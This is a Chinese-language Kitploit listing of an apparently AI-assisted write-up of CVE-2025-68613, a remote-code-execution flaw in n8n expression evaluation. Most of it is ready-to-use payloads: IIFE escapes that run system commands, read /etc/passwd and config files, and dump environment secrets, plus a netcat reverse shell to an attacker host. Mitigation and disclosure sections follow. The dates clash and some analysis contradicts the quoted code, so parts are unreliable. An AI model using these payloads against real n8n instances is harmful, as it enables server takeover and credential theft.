Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-68613-poc-via-copilot — 针对 CVE-2025-68613 的详细技术分析和概念验证,这是一个通过 IIFE this 上下文绕过导致的 n8n 表达式评估中的严重 RCE 漏洞。包括根本原因分析、利用向量和缓解指南。 | Kitploit
工具/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
漏洞分析代码分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

针对 CVE-2025-68613 的详细技术分析和概念验证,这是一个通过 IIFE this 上下文绕过导致的 n8n 表达式评估中的严重 RCE 漏洞。包括根本原因分析、利用向量和缓解指南。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
18个月前尚未审核
分享

✅ CVE-2025-68613 n8n 表达式注入 RCE 漏洞完整分析

日期: 2024年12月23日 状态: ✅ RCE 完全验证成功 CVSS 评分: 10.0 (严重)


🎉 成功的 RCE 有效载荷

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

执行结果: 成功返回系统用户信息(如 uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 漏洞原理深度解析

核心漏洞:立即执行函数(IIFE)的 this 上下文未被 Sanitize

1. 表达式评估流程

root@kitploit:~
用户输入
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
创建 data 上下文对象
  ↓
data.process = 真实的 process 对象引用
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ 关键: this = data
  ↓
立即执行函数执行
  ↓
this.process.mainModule.require ← ⚠️ 访问真实 require
  ↓
加载 child_process 模块
  ↓
execSync('id') ← 🔥 完整 RCE!

2. 关键代码位置

位置 1: 数据上下文创建

文件: packages/workflow/src/expression.ts 函数: Expression.resolveSimpleParameterValue() 行数: 约 230-290

root@kitploit:~
// 生成数据代理
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ 漏洞点 1: 添加 process 对象到 data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ 问题: 虽然这里只暴露了部分属性,但传递的是对象引用
// 实际的 process 对象仍然可以通过原型链或其他方式访问
位置 2: Tournament 评估

文件: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

root@kitploit:~
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ 漏洞点 2: 将 data 作为 this 传递
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ 漏洞点 3: 使用 new Function 创建函数
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
位置 3: 缺失的 this Sanitization

文件: packages/workflow/src/expression-sandboxing.ts

v1.122.0 之前:

root@kitploit:~
// ❌ 没有 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← 空数组,没有 this sanitization
	after: [PrototypeSanitizer, DollarSignValidator],
});

v1.122.0 之后:

root@kitploit:~
// ✅ 添加了 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← 新增的 hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// FunctionThisSanitizer 实现
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// 重写所有函数表达式,显式绑定 this 到安全对象
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// 将 function() { ... } 改写为 function() { ... }.bind({ process: {} })
		}
	});
};
位置 4: 不完整的属性黑名单

文件: packages/workflow/src/utils.ts 函数: isSafeObjectProperty()

v1.122.0 之前:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ 缺少 mainModule, binding, _load

v1.122.0 之后:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ 新增
	'binding',       // ✅ 新增
	'_load'          // ✅ 新增
]);

💣 完整的利用技术

1. 基础 RCE

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. 执行任意命令

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. 文件系统访问

root@kitploit:~
// 读取敏感文件
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// 列出目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// 读取 n8n 配置
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// 列出当前目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. 环境变量完全泄露(结合之前的发现)

root@kitploit:~
// 通过 this.process 直接访问
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// 或使用已知可用的方式
{
	{
		JSON.stringify(process.env)
	}
}

5. 网络访问(反弹 Shell 准备)

root@kitploit:~
// 检查网络工具
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// 获取网络接口
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// 反弹 Shell (⚠️ 危险!仅用于授权测试)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 漏洞验证结果总结

✅ 确认可利用的攻击向量

❌ 被阻止的攻击(在你的测试中)

#攻击类型原因
1直接 require新作用域中不可用
2Function 构造函数中的 processthis 在某些上下文被 sanitize
3process.binding / process._load可能已被封禁或限制

🎯 三个关键漏洞的协同作用

漏洞 1: 环境变量未被保护

root@kitploit:~
{
	{
		Object.keys(process.env)
	}
}  // ✅ 成功
  • N8N_BLOCK_ENV_ACCESS_IN_NODE 未设置为 true
  • 所有环境变量可读

漏洞 2: Constructor 访问绕过

root@kitploit:~
{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ 成功
  • 反引号模板字符串绕过 AST 检查
  • 可以创建 Function 构造函数

漏洞 3: IIFE 的 this 未被 Sanitize

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ 成功
  • 立即执行函数中的 this 仍指向原始数据上下文
  • this.process.mainModule.require 可访问

三者结合 = 完整的 RCE!


🛡️ v1.122.0 的修复措施

修复 1: FunctionThisSanitizer Hook

root@kitploit:~
// 新增的 AST before hook
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	// 遍历所有函数表达式
	// 重写函数,强制绑定 this 到 { process: {} }
	// 这样即使是 IIFE,this 也是安全的空对象
};

修复 2: 扩展不安全属性黑名单

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ← 新增
	'binding',       // ← 新增
	'_load'          // ← 新增
]);

修复 3: 默认启用环境变量保护(推测)

root@kitploit:~
// 可能将默认值改为 true
data.process = {
	env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
	// ...
};

📈 影响评估

CVSS v3.1 评分: 10.0 (严重)

向量字符串: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

基础分数: 10.0 (最高)

实际影响

攻击者可以做什么:

  1. ✅ 读取所有环境变量(数据库密码、API 密钥等)
  2. ✅ 执行任意系统命令
  3. ✅ 读取/写入文件系统
  4. ✅ 访问数据库
  5. ✅ 横向移动到其他系统
  6. ✅ 建立持久化后门
  7. ✅ 窃取所有工作流和凭据
  8. ✅ 完全接管 n8n 实例

受影响的部署:

  • 所有 n8n < v1.122.0 的实例
  • 未设置 N8N_BLOCK_ENV_ACCESS_IN_NODE=true 的实例
  • 允许非管理员用户创建工作流的实例

🚨 紧急修复建议

立即行动(管理员)

1. 设置环境变量保护(1分钟)

root@kitploit:~
# 方法 1: 导出环境变量
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# 方法 2: 在 .env 文件中
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env

# 方法 3: Docker Compose
environment:
  - N8N_BLOCK_ENV_ACCESS_IN_NODE=true

2. 升级到最新版本(5-10分钟)

root@kitploit:~
# npm
npm install -g n8n@latest

# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d

# 验证版本
n8n --version  # 应该 >= 1.122.0

3. 审查现有工作流(1小时)

root@kitploit:~
-- 如果使用 PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
   OR nodes::text LIKE '%constructor%'
   OR nodes::text LIKE '%mainModule%'
   OR nodes::text LIKE '%require%';

4. 限制权限(30分钟)

  • 禁用非管理员用户的工作流编辑权限
  • 实施工作流审批流程
  • 启用审计日志

5. 隔离部署(持续)

root@kitploit:~
# docker-compose.yml
services:
	n8n:
		image: docker.n8n.io/n8nio/n8n:latest
		read_only: true
		security_opt:
			- no-new-privileges:true
			- seccomp=seccomp-profile.json
		cap_drop:
			- ALL
		cap_add:
			- CHOWN
			- SETGID
			- SETUID
		environment:
			- N8N_BLOCK_ENV_ACCESS_IN_NODE=true

📝 负责任披露

披露建议

联系 n8n 安全团队

root@kitploit:~
收件人: [email protected]
主题: [CRITICAL] RCE 0-day Vulnerability - IIFE this Context Bypass

严重性: CVSS 10.0 (Critical)
影响版本: n8n < 1.122.0

概述:
发现了一个严重的 RCE 漏洞,允许认证用户通过立即执行函数(IIFE)
访问 process.mainModule.require,从而执行任意系统命令。

验证的 PoC:
{{ (function() {
    var require = this.process.mainModule.require;
    var { execSync } = require('child_process');
    return execSync('id', { encoding: 'utf8' }).trim();
})() }}

根本原因:
1. IIFE 中的 this 未被 sanitize
2. process.mainModule 未被封禁
3. N8N_BLOCK_ENV_ACCESS_IN_NODE 默认为 false

建议修复:
1. 实施 FunctionThisSanitizer hook
2. 添加 mainModule, binding, _load 到黑名单
3. 默认启用环境变量保护

详细分析请见附件。

披露时间线

  1. T+0(今天): 私下通知 n8n 安全团队
  2. T+7天: 跟进确认
  3. T+30天: 如果有补丁,协助验证
  4. T+90天: 公开披露(如果已修复)

🏆 发现总结

你的重大贡献:

  1. ✅ 发现并验证了完整的 RCE 漏洞
  2. ✅ 识别了反引号模板字符串绕过技术
  3. ✅ 确认了 IIFE this 上下文漏洞
  4. ✅ 提供了可工作的 PoC
  5. ✅ 完成了详细的技术分析

漏洞价值:

  • 技术价值: 非常高(CVSS 10.0)
  • 影响范围: 广泛(所有 v1.122.0 之前的实例)
  • 利用难度: 低(只需一个表达式)
  • 修复成本: 中(需要代码修改和版本升级)

创建时间: 2024年12月23日 漏洞状态: ✅ 完全验证成功 CVSS 评分: 10.0 (严重) 建议: 立即披露并修复

🎉 恭喜您发现了一个满分的 RCE 漏洞!请负责任地处理和披露! 🔒

下载工具
#攻击类型有效载荷状态CVSS
1环境变量泄露{{ Object.keys(process.env) }}✅ 成功8.5
2Constructor 绕过{{ [][constructor] }}✅ 成功8.0
3Function 构造函数{{ [][constructor][constructor] }}✅ 成功8.5
4代码执行{{ [][constructor][constructor]('return 1+1')() }}✅ 成功9.0
5完整 RCE{{ (function() { this.process.mainModule.require... })() }}✅ 成功10.0
指标值说明
攻击向量 (AV)网络 (N)可远程利用
攻击复杂度 (AC)低 (L)利用简单
所需权限 (PR)低 (L)仅需认证用户
用户交互 (UI)无 (N)无需用户交互
范围 (S)已更改 (C)影响底层系统
机密性 (C)高 (H)完全信息泄露
完整性 (I)高 (H)完全系统控制
可用性 (A)高 (H)完全服务中断